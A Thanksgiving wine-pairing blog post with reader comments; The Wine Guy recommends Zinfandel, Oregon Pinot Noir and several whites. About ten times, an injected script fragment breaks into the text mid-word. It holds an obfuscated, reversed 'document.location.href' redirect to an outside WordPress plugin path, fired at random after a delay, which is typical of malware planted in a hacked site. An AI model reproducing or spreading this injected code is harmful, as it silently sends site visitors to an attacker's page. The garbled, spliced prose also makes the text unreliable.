Thanksgiving Wine

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>Dear Wine Guy,

I love it when you write Guest Blogs on your wife’s Antiques Diva blog. I have another “reader’s question” for you. I was reading a wine column on Epicurious.com and it recommended several wines for a turkey dinner. One of our guests does not like any sweet wines and another only likes white wine.

Which of these Epicurious recommendations would you choose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accompany Thanksgiving Dinner?

Riesling, Pinot Blanc, Gewurztraminer, Viognier, Pinot Gris

Thanks for the help!
The Contessa

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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>Dear Contessa,

I always enjoy reading your Guest Blogs on my wife’s blog as well!

For Thanksgiving dinner, I typically go with two options. I always serve a red wine for Turkey Day because, well, I’m a bit of a red wine snob and I’m hard pressed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find any large dinner where a good red wine won’t fit… Since Thanksgiving is a traditional American holiday, I always pair it with a traditional wine found only in America – red Zinfandel*. It’s a pretty robust red! For some people who prefer something lighter, I’d recommend a Pinot Noir from Oregon.

For whites, I would choose between a Chardonnay and a Sauvignon Blanc. Creamy chardonnay can go with the creamy potatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, but a Sauvignon Blanc would go well with your stuffing, especially if it’s a bit spicy (flavorful, with herbs, etc). If the wines above are the only options, and there is a requirement toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid sweeter wines, then I would go for the Pinot Gris or a Pinot Blanc from Alsace.

* A little side bar on Zinfandel…It’s a grape varietal (just as Chardonnay, Cabernet Sauvignon and Merlot are varieties of grapes) that is really only successfully grown in the United States, notably in California. Like most everything else in America, the Zinfandel grape itself probably has origins in other parts of the world, but nowhere does the successful production even come close toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that produced in California. As I mentioned above, the red Zin you will find in the shops toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today will be big, bold and jammy with a rather high alcohol content. One of my favorites is “7 Deadly Zins” because it’s a value at around $12-14 and is one of the better names I’ve stumbled across! Another one I try taking as a hostessing gift here in Europe is Bonny Doon’s Cardinal Zin (another clever name!). This will run you a few more dollars per bottle but I find it’s worth it and gives me the chance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn a little more about the Bonny Doon fascination (you may be surprised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn that you will find nary a one cork in any of their wine…all bottles come with screw caps). So, crack open a bottle of Zin and celebrate two “American traditions” – Happy Thanksgiving!

~The Wine Guy

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

10 thoughts on “Thanksgiving Wine”

  1. So…Contessa, La Reine, Empress, Kelli, VictorianCobweb – any feedback on your Thanksgiving wines?? Hope they were delicious!
    ~ The Wine Guy

  2. You’re quite welcome Contessa – let me know how it turns out!

    La Reine, my all time favorite Gewurztraminer is from Alsace, produced by Andre Ostertag. His wines (and his approach to wine-making) are brilliant. Not sure if you’ve discovered this little gem yet, but trust me you’ll thank me when you do!

    ~TWG

  3. Happy Thanksgiving to you too Contessa. Let us know which wine you chose. La Reine, Merci for your additional recommendation. Diva, just discovered your blog. Love it!
    The Empress of Design

  4. Thank you so much BJ., and to all the readers wherever you are celebrating Thanksgiving this year, I hope you have a wonderful, safe holiday!

    The Contessa

  5. We typically drink a nice Gewurztraminer once a year…on Thanksgiving. A nice dry Gewurtz does go really well with turkey, its not sweet, despite its often maligned reputation, and so many people can’t or don’t drink red, but I find Gewurtz satisfies almost everyone, even the “red wine snobs”. We like our Gewurtz from Alsace, we’re still French wine snobs! I’ve had a few dry Rieslings I like, but for me, that’s a summer wine.

    But as for Zin, I don’t like it, not to mention, I can’t drink any California wines…they all give me migraines, no matter what they tell me about preservatives or organic or pestisides.

    But, I’ll have a bottle of red on hand, maybe I’ll try TWG’s 7 Deadly Zins…for my guests.
    bon app!

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